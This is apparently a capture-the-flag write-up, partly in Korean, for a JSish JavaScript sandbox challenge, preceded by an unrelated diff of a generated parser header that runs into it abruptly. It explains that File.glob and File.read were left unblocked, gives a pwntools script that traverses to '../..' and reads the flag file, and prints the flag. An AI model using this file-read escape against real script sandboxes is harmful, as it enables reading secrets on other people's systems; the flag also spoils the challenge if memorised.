-/* Token type. */+/* Token kinds. */ #ifndef YYTOKENTYPE # define YYTOKENTYPE enum yytokentype {- IDENTIFIER = 258,- STRING = 259,- IF = 260,- ELSE = 261,- FOR = 262,- IN = 263,- WHILE = 264,- DO = 265,- CONTINUE = 266,- SWITCH = 267,- CASE = 268,- DEFAULT = 269,- BREAK = 270,- FUNC = 271,- RETURN = 272,- LOCAL = 273,- LOCALCONST = 274,- LOCALLET = 275,- OF = 276,- NEW = 277,- DELETE = 278,- TRY = 279,- CATCH = 280,- FINALLY = 281,- THROW = 282,- WITH = 283,- UNDEF = 284,- _TRUE = 285,- _FALSE = 286,- _THIS = 287,- ARGUMENTS = 288,- FNUMBER = 289,- REGEXP = 290,- TYPESTRING = 291,- TYPENUMBER = 292,- TYPENULL = 293,- TYPEOBJECT = 294,- TYPEBOOLEAN = 295,- TYPEUSEROBJ = 296,- TYPEITEROBJ = 297,- TYPEREGEXP = 298,- TYPEANY = 299,- TYPEARRAY = 300,- ELLIPSIS = 301,- EXPORT = 302,- OBJSET = 303,- OBJGET = 304,- ARROW = 305,- __DEBUG = 306,- MIN_PRI = 307,- ARGCOMMA = 308,- ADDAS = 309,- MNSAS = 310,- MULAS = 311,- MODAS = 312,- LSHFAS = 313,- RSHFAS = 314,- URSHFAS = 315,- BANDAS = 316,- BORAS = 317,- BXORAS = 318,- DIVAS = 319,- OR = 320,- AND = 321,- EQU = 322,- NEQ = 323,- EEQU = 324,- NNEQ = 325,- LEQ = 326,- GEQ = 327,- INSTANCEOF = 328,- LSHF = 329,- RSHF = 330,- URSHF = 331,- NEG = 332,- INC = 333,- DEC = 334,- TYPEOF = 335,- VOID = 336,- MAX_PRI = 337+ YYEMPTY = -2,+ YYEOF = 0, /* "end of file" */+ YYerror = 256, /* error */+ YYUNDEF = 257, /* "invalid token" */+ IDENTIFIER = 258, /* IDENTIFIER */+ STRING = 259, /* STRING */+ IF = 260, /* IF */+ ELSE = 261, /* ELSE */+ FOR = 262, /* FOR */+ IN = 263, /* IN */+ WHILE = 264, /* WHILE */+ DO = 265, /* DO */+ CONTINUE = 266, /* CONTINUE */+ SWITCH = 267, /* SWITCH */+ CASE = 268, /* CASE */+ DEFAULT = 269, /* DEFAULT */+ BREAK = 270, /* BREAK */+ FUNC = 271, /* FUNC */+ RETURN = 272, /* RETURN */+ LOCAL = 273, /* LOCAL */+ LOCALCONST = 274, /* LOCALCONST */+ LOCALLET = 275, /* LOCALLET */+ OF = 276, /* OF */+ NEW = 277, /* NEW */+ DELETE = 278, /* DELETE */+ TRY = 279, /* TRY */+ CATCH = 280, /* CATCH */+ FINALLY = 281, /* FINALLY */+ THROW = 282, /* THROW */+ WITH = 283, /* WITH */+ UNDEF = 284, /* UNDEF */+ _TRUE = 285, /* _TRUE */+ _FALSE = 286, /* _FALSE */+ _THIS = 287, /* _THIS */+ ARGUMENTS = 288, /* ARGUMENTS */+ FNUMBER = 289, /* FNUMBER */+ REGEXP = 290, /* REGEXP */+ TYPESTRING = 291, /* TYPESTRING */+ TYPENUMBER = 292, /* TYPENUMBER */+ TYPENULL = 293, /* TYPENULL */+ TYPEOBJECT = 294, /* TYPEOBJECT */+ TYPEBOOLEAN = 295, /* TYPEBOOLEAN */+ TYPEUSEROBJ = 296, /* TYPEUSEROBJ */+ TYPEITEROBJ = 297, /* TYPEITEROBJ */+ TYPEREGEXP = 298, /* TYPEREGEXP */+ TYPEANY = 299, /* TYPEANY */+ TYPEARRAY = 300, /* TYPEARRAY */+ ELLIPSIS = 301, /* ELLIPSIS */+ EXPORT = 302, /* EXPORT */+ OBJSET = 303, /* OBJSET */+ OBJGET = 304, /* OBJGET */+ ARROW = 305, /* ARROW */+ __DEBUG = 306, /* __DEBUG */+ MIN_PRI = 307, /* MIN_PRI */+ ARGCOMMA = 308, /* ARGCOMMA */+ ADDAS = 309, /* ADDAS */+ MNSAS = 310, /* MNSAS */+ MULAS = 311, /* MULAS */+ MODAS = 312, /* MODAS */+ LSHFAS = 313, /* LSHFAS */+ RSHFAS = 314, /* RSHFAS */+ URSHFAS = 315, /* URSHFAS */+ BANDAS = 316, /* BANDAS */+ BORAS = 317, /* BORAS */+ BXORAS = 318, /* BXORAS */+ DIVAS = 319, /* DIVAS */+ OR = 320, /* OR */+ AND = 321, /* AND */+ EQU = 322, /* EQU */+ NEQ = 323, /* NEQ */+ EEQU = 324, /* EEQU */+ NNEQ = 325, /* NNEQ */+ LEQ = 326, /* LEQ */+ GEQ = 327, /* GEQ */+ INSTANCEOF = 328, /* INSTANCEOF */+ LSHF = 329, /* LSHF */+ RSHF = 330, /* RSHF */+ URSHF = 331, /* URSHF */+ NEG = 332, /* NEG */+ INC = 333, /* INC */+ DEC = 334, /* DEC */+ TYPEOF = 335, /* TYPEOF */+ VOID = 336, /* VOID */+ MAX_PRI = 337 /* MAX_PRI */ };+ typedef enum yytokentype yytoken_kind_t; #endif
/* Value type. */ #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED- union YYSTYPE {-#line 18 "src/parser.y" /* yacc.c:1909 */+#line 18 "src/parser.y"
Jsi_OpCodes *opcodes; Jsi_Value *value;@@ -146,9 +155,9 @@ union YYSTYPE struct jsi_CaseExprStat* caseitem; struct jsi_CaseList* caselist;
-#line 150 "src/parser.h" /* yacc.c:1909 */-};+#line 159 "src/parser.h"
+}; typedef union YYSTYPE YYSTYPE; # define YYSTYPE_IS_TRIVIAL 1 # define YYSTYPE_IS_DECLARED 1@@ -170,6 +179,8 @@ struct YYLTYPE
+ int yyparse (struct jsi_Pstate *pstate);
+ #endif /* !YY_YY_SRC_PARSER_H_INCLUDED */핵심
*(volatile int *)0 = 0; exitCode = ((ec=system(cp))>>8);... if (native) if (native) { *(volatile int *)0 = 0; fp = popen(cp, type); }diff파일을 열어보면 System.exec 경로와 popen 래퍼에 null write를 삽입해 셸 명령 실행을 막는다.
Info.execZip, Info.files 같은 보조 명령도 주석 처리해놨다.
그렇지만 File.glob, File.read API는 막지 않았고 server.py에서도 안전 모드를 만지지 않았다.
파일 시스템
console.log(File.glob("*", {dir:"../.."}));JSish의 File.glob는 기본적으로 현재 디렉토리를 기준으로 작동하지만 dir 옵션으로 상위 경로를 지정할 수 있다.
바이너리는 /home/ctf에서 실행되므로 ../..로 컨테이너 루트를 올려야한다.
console.log(File.read("../../flag-1d15084e96bb4da651f4f20806f4ec996647c704a2190e44f36b53bbe175147d.txt"));File.read를 호출하면 플래그가 출력된다.
Exploit
from pwn import *import osimport re
def run_js(code: str) -> str: io = remote('주소블라인드', 포트블라인드) io.sendlineafter(b"size. Must be < 5k:", f"{len(code)}".encode()) io.sendafter(b"script please!!\n", code.encode()) data = io.recvall(timeout=1).decode(errors="ignore") io.close() return data
def main() -> None: listing = run_js('console.log(File.glob("*", {dir:"../.."}));\n') flag_file = re.search(r"flag-[0-9a-f]+\.txt", listing) fname = flag_file.group(0)
flag_out = run_js(f'console.log(File.read("../../{fname}"));\n') flag = re.search(r"DCTF\{.*?\}", flag_out) print(flag.group(0) if flag else flag_out)
if __name__ == "__main__": main()DCTF{deschid_poarta_6_chakra_7_fac_tot_sa_se_miste_n_spate}